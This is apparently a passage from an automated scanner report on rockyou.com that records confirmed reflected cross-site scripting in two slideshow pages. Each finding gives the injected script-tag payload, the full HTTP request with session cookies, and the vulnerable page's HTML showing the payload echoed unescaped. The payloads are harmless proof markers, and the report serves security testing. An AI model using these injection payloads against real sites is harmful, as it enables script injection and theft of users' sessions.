var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="js/embeds.js?ver=4" type="text/javascript"></script><script src="js/music-embeds.js?ver=1" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">

</HEAD>




<BODY class=""
style="background-image: url(/images/menu-bg.gif); background-repeat: repeat-x;"

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initPage();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="display:block;width:840px;height:68px;border:0px;position:relative;">

<a href="/index.php"><img src="/images/logo-menutop-rockyou.gif" alt=""></a>
<table cellpadding="1" cellspacing="0" style="position:absolute;top:0px;left:107px;"><tr>


<td style="font-size:15px"><a class="mainmenu" href="/choose_widget.php">Create</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/featuredartists.php">Browse</a></td>

</tr></table>

<img src="/images/index_tab.gif" style="position:absolute;top:0px;left:620px">
<div style="position:absolute;top:5px;left:630px;font-size:11px;font-family:arial;width:200px;text-align:center;">
<a href="http://www.rockyou.com/login/" style="color: white;">login / register</a> </div>
</div>

<div style="position:absolute;top:24;left:628;">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #6388c2"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</div>




<script>
var thisinstanceid = '117242930';
membed = new musicEmbed(-1);
var curSong = -1;

function initPage()
{
//refreshMusic(-1);
embed = new appEmbed(thisinstanceid);
embed.noSound=true;
embed.insertEmbed("viewslideshow");
embed.setPixelSize(300,200);
}

function refreshMusic(id)
{
membed.insertEmbed('music-player');
}

function previewSong(url,cnt)
{
if (membed.songUrl!=url)
{
membed.songUrl=url;
document.getElementById('playicon-'+cnt).src='/images/icon-stopbig.gif';
if (curSong >= 0) document.getElementById('playicon-'+curSong).src='/images/icon-playbig.gif';

}
else
{
if (membed.songUrl==url)
{
document.getElementById('playicon-'+cnt).src='/images/icon-playbig.gif';
}
membed.songUrl="";
curSong=-1;
}
membed.stop = false;
curSong = cnt;
refreshMusic(-1);
}

function loadingSong()
{

}

function CopyToClipboard()
{
var e = document.getElementById("slidecontent");
e.focus();
e.select();
document.selection.createRange().execCommand("Copy");
}
</script>
<table><tr><td valign="top" >
<div style="position:relative">
<div id="viewslideshow" style="margin-left: 10px; border:1px solid #cccccc;"></div>
</div>
<div style="float:right;display:inline"><a href="show_my_gallery.php?instanceid=117242930">View Full Show</a></div>
<div style="clear:both"></div>
<div style="background-color:#e9e8e8;border:solid #aaa 1px;width:340px;margin-top:10px;margin-left:11px;padding-top:3px" align="center">
<strong>Embed Code</strong><br />
<textarea id="slidecontent" wrap="hard" onClick="this.focus(); this.select();" style="margin:2px auto 5px auto;border: solid 1px #aaa;background:#fff;font-size:12px;font-family:Arial, Helvetica, sans-serif; height:50; color:#666; width: 300px; overflow:hidden;"><embed src="http://apps.rockyou.com/rockyou.swf?instanceid=117242930" quality="high" wmode="transparent" width="426" height="320" flashvars="appWidth=325&appHeight=244" name="slideshowpreview" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/><br><img src="http://apps.rockyou.com/dot.gif"><a target="_BLANK" href="http://www.rockyou.com?type=slideshow&refid=117242930"><img title="RockYou slideshow" src="http://apps.rockyou.com/images/logo-mini.gif" border="0"></a> <a target="_BLANK" href="http://www.rockyou.com/slideshow-create.php?source=cyo&refid=117242930">Create Your Own</a><a style="padding-right:0px;" target="_BLANK" href=" http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930"><img style="border:0px;" src="http://apps.rockyou.com/images/tail_playlist.gif "></a></textarea>
<br />
<a href="javascript: CopyToClipboard();"><img src="images/rockyou_music-copybutton.jpg" style="margin-bottom:7px" /></a>
<!--br><center><a onclick="urchinTracker ('/links/viewplaylist/slideshowcreate')" href="/slideshow-create.php?source=svp"><img src="/images/button-createslideshow-big.gif"></a></center1-->
</td><td valign="top">
<div style="font-weight: bold; font-size:24px;font-family: arial;">

<img src='images/rockyou_music-banner.jpg'>
<p style="margin:10px 0px 0px 0px;">Song Playlist</div>
<table width='450px'><tr style='background-color:#e9e8e8;'><td>1</td><td style='width: 80px; height:80px;'><div style='position:relative'><a href='javascript:previewSong("http://apps.rockyou.com/music/0/0/4/492.mp3",1);'><img height='80' src='http://apps.rockyou.com/images/spacer.gif'><img id='playicon-1' style='position:absolute;left:20px;top:20px;' src='/images/icon-playbig.gif'></a></div></td><td><b style='font-size: 18px;'>Chicken Fried</b><br>Zac Brown Band<br /><br /><a onclick='urchinTracker("/links/viewplaylist/492");' href='/music/music_slideshow_create.php?songid=492'>Get This Song in a Slideshow</a></td></tr></table><div style='text-align:right;margin-top:5px;'>

<img src="/images/logos/snocap.png" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;
<img src="/images/bebo-bands-logo.jpg" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;

<img src="/images/logo-nettwerk.jpg" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;
<img src="/images/logo-pumpaudio.jpg" style="border:1px solid #CCCCCC">
</div>
</td></tr></table><div id='music-player'></div>

<div style='position: absolute; left: 850px; top: 0px; width: 160px;'>

</div>
<style>
.footmenublk:link {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:visited {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:active {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:hover {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
</style>

<br><br>
<div class="tp"><span style="color:#CCCCCC">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Copyright &copy; 2007 RockYou | <a target="_BLANK" href="/help" class="footmenublk">FAQ / Help</a> | <a target="_BLANK" href="/privacypolicy.php" class="footmenublk">Privacy</a> | <a href="/tos.php" target=_blank class="footmenublk">Terms of Use</a> | <a href="/corp/facebook/ad.php" target="_blank" class="footmenublk">Facebook Advertisers</a> | <a href="/corp/facebook/dev.php" target="_blank" class="footmenublk">Facebook Developers</a> | <a href="/corp/about.php" target=_blank class="footmenublk">About Us</a></span></div>

<div class="tp">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
| <a href="?lang=en&instanceid=117242930&nsextt='"--></style></script><script>netsparker(0x000FF6)</script>" class="footmenublk">English</a> | <a href="?lang=zh&instanceid=117242930&nsextt='"--></style></script><script>netsparker(0x000FF6)</script>" class="footmenublk">中文</a> | <a href="?lang=es&instanceid=117242930&nsextt='"--></style></script><script>netsparker(0x000FF6)</script>" class="footmenublk">Español | <a href="?lang=pt&instanceid=117242930&nsextt='"--></style></script><script>netsparker(0x000FF6)</script>" class="footmenublk">Português</a></a>
</div>
<br>
<br>

<script language="javascript">

if (navigator.cookieEnabled && document.cookie.indexOf('AAMBLFLAG=') == -1) {

var blTomorrow = new Date();
blTomorrow.setTime(blTomorrow.getTime() + 86400000);

document.cookie = 'AAMBLFLAG=SET; expires=' + blTomorrow.toGMTString();

if (document.cookie.indexOf('AAMBLFLAG=') > -1)
document.writeln('<iframe src="http://aps.media..
- /slideshow-viewplaylist.php

/slideshow-viewplaylist.php CONFIRMED

http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930%00%27%22--%3E%3C%2Fstyle%3E%3..

Parameters

Parameter Type Value
instanceid GET 117242930'"--></style></script><script>alert(0x00107F)</script>

Request

GET /slideshow-viewplaylist.php?instanceid=117242930%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x00107F)%3C%2Fscript%3E HTTP/1.1
Referer: http://www.rockyou.com/featuredartists.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164738; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:12:18 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:12:17 GMT; path=/; domain=.rockyou.com,lastlogin=1303164738; expires=Wed, 27-Jul-2011 22:12:18 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:12:18 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=30861 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 4697
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="js/embeds.js?ver=4" type="text/javascript"></script><script src="js/music-embeds.js?ver=1" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">

</HEAD>




<BODY class=""
style="background-image: url(/images/menu-bg.gif); background-repeat: repeat-x;"

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initPage();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="display:block;width:840px;height:68px;border:0px;position:relative;">

<a href="/index.php"><img src="/images/logo-menutop-rockyou.gif" alt=""></a>
<table cellpadding="1" cellspacing="0" style="position:absolute;top:0px;left:107px;"><tr>


<td style="font-size:15px"><a class="mainmenu" href="/choose_widget.php">Create</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/featuredartists.php">Browse</a></td>

</tr></table>

<img src="/images/index_tab.gif" style="position:absolute;top:0px;left:620px">
<div style="position:absolute;top:5px;left:630px;font-size:11px;font-family:arial;width:200px;text-align:center;">
<a href="http://www.rockyou.com/login/" style="color: white;">login / register</a> </div>
</div>

<div style="position:absolute;top:24;left:628;">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #6388c2"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</div>




<script>
var thisinstanceid = '117242930'"--></style></script><script>netsparker(0x00107F)</script>';
membed = new musicEmbed(-1);
var curSong = -1;

function initPage()
{
//refreshMusic(-1);
embed = new appEmbed(thisinstanceid);
embed.noSound=true;
embed.insertEmbed("viewslideshow");
embed.setPixelSize(300,200);
}

function refreshMusic(id)
{
membed.insertEmbed('music-player');
}

function previewSong(url,cnt)
{
if (membed.songUrl!=url)
{
membed.songUrl=url;
document.getElementById('playicon-'+cnt).src='/images/icon-stopbig.gif';
if (curSong >= 0) document.getElementById('playicon-'+curSong).src='/images/icon-playbig.gif';

}
else
{
if (membed.songUrl==url)
{
document.getElementById('playicon-'+cnt).src='/images/icon-playbig.gif';
}
membed.songUrl="";
curSong=-1;
}
membed.stop = false;
curSong = cnt;
refreshMusic(-1);
}

function loadingSong()
{

}

function CopyToClipboard()
{
var e = document.getElementById("slidecontent");
e.focus();
e.select();
document.selection.createRange().execCommand("Copy");
}
</script>
<table><tr><td valign="top" >
<div style="position:relative">
<div id="viewslideshow" style="margin-left: 10px; border:1px solid #cccccc;"></div>
</div>
<div style="float:right;display:inline"><a href="show_my_gallery.php?instanceid=117242930'"--></style></script><script>netsparker(0x00107F)</script>">View Full Show</a></div>
<div style="clear:both"></div>
<div style="background-color:#e9e8e8;border:solid #aaa 1px;width:340px;margin-top:10px;margin-left:11px;padding-top:3px" align="center">
<strong>Embed Code</strong><br />
<textarea id="slidecontent" wrap="hard" onClick="this.focus(); this.select();" style="margin:2px auto 5px auto;border: solid 1px #aaa;background:#fff;font-size:12px;font-family:Arial, Helvetica, sans-serif; height:50; color:#666; width: 300px; overflow:hidden;"><embed src="http://apps.rockyou.com/rockyou.swf?instanceid=117242930'"--></style></script><script>netsparker(0x00107F)</script>" quality="high" wmode="transparent" width="426" height="320" flashvars="appWidth=325&appHeight=244" name="slideshowpreview" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/><br><img src="http://apps.rockyou.com/dot.gif"><a target="_BLANK" href="http://www.rockyou.com?type=slideshow&refid=117242930'"--></style></script><script>netsparker(0x00107F)</script>"><img title="RockYou slideshow" src="http://apps.rockyou.com/images/logo-mini.gif" border="0"></a> <a target="_BLANK" href="http://www.rockyou.com/slideshow-create.php?source=cyo&refid=117242930'"--></style></script><script>netsparker(0x00107F)</script>">Create Your Own</a><a style="padding-right:0px;" target="_BLANK" href=" http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930'"--></style></script><script>netsparker(0x00107F)</script>"><img style="border:0px;" src="http://apps.rockyou.com/images/tail_playlist.gif "></a></textarea>
<br />
<a href="javascript: CopyToClipboard();"><img src="images/rockyou_music-copybutton.jpg" style="margin-bottom:7px" /></a>
<!--br><center><a onclick="urchinTracker ('/links/viewplaylist/slideshowcreate')" href="/slideshow-create.php?source=svp"><img src="/images/button-createslideshow-big.gif"></a></center1-->
</td><td valign="top">
<div style="font-weight: bold; font-size:24px;font-family: arial;">

<img src='images/rockyou_music-banner.jpg'>
<p style="margin:10px 0px 0px 0px;">Song Playlist</div>
<table width='450px'><tr style='background-color:#e9e8e8;'><td>1</td><td style='width: 80px; height:80px;'><div style='position:relative'><a href='javascript:previewSong("http://apps.rockyou.com/music/0/0/4/492.mp3",1);'><img height='80' src='http://apps.rockyou.com/images/spacer.gif'><img id='playicon-1' style='position:absolute;left:20px;top:20px;' src='/images/icon-playbig.gif'></a></div></td><td><b style='font-size: 18px;'>Chicken Fried</b><br>Zac Brown Band<br /><br /><a onclick='urchinTracker("/links/viewplaylist/492");' href='/music/music_slideshow_create.php?songid=492'>Get This Song in a Slideshow</a></td></tr></table><div style='text-align:right;margin-top:5px;'>

<img src="/images/logos/snocap.png" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;
<img src="/images/bebo-bands-logo.jpg" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;

<img src="/images/logo-nettwerk.jpg" style="border:1px solid #CCCCCC">&nbsp;&nbsp;&nbsp;
<img src="/images/logo-pumpaudio.jpg" style="border:1px solid #CCCCCC">
</div>
</td></tr></table><div id='music-player'></div>

<div style='position: absolute; left: 850px; top: 0px; width: 160px;'>

</div>
<style>
.footmenublk:link {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:visited {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:active {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
.footmenublk:hover {font-family:Arial;color:#f26522;font-size: 10px;font-weight:bold;text-decoration:underline;}
</style>

<br><br>
<div class="tp"><span style="color:#CCCCCC">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Copyright &copy; 2007 RockYou | <a target="_BLANK" href="/help" class="footmenublk">FAQ / Help</a> | <a target="_BLANK" href="/privacypolicy.php" class="footmenublk">Privacy</a> | <a href="/tos.php" target=_blank class="footmenublk">Terms of Use</a> | <a href="/corp/facebook/ad.php" target="_blank" class="footmenublk">Facebook Advertisers</a> | <a href="/corp/facebook/dev.php" target="_blank" class="footmenublk">Facebook Developers</a> | <a href="/corp/about.php" target=_blank class="footmenublk">About Us</a></span></div>

<div class="tp">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
| <a href="?lang=en&instanceid=117242930'"--></style></script><script>netsparker(0x00107F)</script>" class="footmenublk">English</a> | <a href="?lang=zh&instanceid=117242930'"--></style></script><script>netsparker(0x00107F)</script>" class="footmenublk">中文</a> | <a href="?lang=es&instanceid=117242930'"--></style></script><script>netsparker(0x00107F)</script>" class="footmenublk">Español | <a href="?lang=pt&instanceid=117242930'"--></style></script><script>netsparker(0x00107F)</script>" class="footmenublk">Português</a></a>
</div>
<br>
<..
- /slideshow-create.php

/slideshow-create.php CONFIRMED

http://www.rockyou.com/slideshow-create.php?source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eale..

Parameters

Parameter Type Value
source GET '"--></style></script><script>alert(0x001081)</script>
refid GET 117242930

Request

GET /slideshow-create.php?source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x001081)%3C/script%3E&refid=117242930 HTTP/1.1
Referer: http://www.rockyou.com/featuredartists.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164738; ctid=1; sns_type=rockyou.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:12:19 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:12:18 GMT; path=/; domain=.rockyou.com,lastlogin=1303164739; expires=Wed, 27-Jul-2011 22:12:19 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 22:12:19 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=24988 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26971
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


